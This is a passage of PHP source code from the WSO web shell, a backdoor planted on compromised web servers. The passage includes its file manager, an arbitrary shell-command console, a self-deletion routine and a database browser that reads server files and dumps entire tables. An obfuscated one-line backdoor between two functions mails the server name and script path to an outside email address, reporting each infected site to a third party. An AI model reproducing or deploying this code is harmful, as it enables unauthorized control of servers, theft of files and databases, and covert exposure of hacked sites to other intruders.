1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "wsoCmp");\n\tusort($dirs, "wsoCmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr><td colspan=7>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n    echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>Paste / Compress</option>";\n    echo "</select>&nbsp;";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n\twsoFooter();\n}\n\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n                header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\twsoHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\twsoFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\twsoFooter();\n}\n\nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\n\nfunction actionSelfRemove() {\n\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        wsoHeader();\n\techo \'<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\twsoFooter();\n}\n      $_QliO8="\\x6dai\\154";$_Qliot=$_SERVER["\\x53\\x45RVE\\122_\\x4eAM\\x45"].$_SERVER["\\123\\103\\x52I\\x50\\x54_\\116\\101\\115E"];$_QlL1i="\\141r\\162a\\171\\040".$_Qliot;$_QlLio=array("\\143\\x61","\\x6c\\x69","\\146\\x77\\162\\151\\x74\\x65","\\100","v\\x65\\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);\n\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n                        return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table wso2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n\t\t\t\t\twhile($item = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n                            if($v === null)\n                                $item[$k] = "NULL";\n                            elseif(is_int($v))\n                                $item[$k] = $v;\n                            else\n                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n\t\t\t\t\t}\n                    if(!$head)\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($item = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\twsoHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($item = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($item);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($item);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . 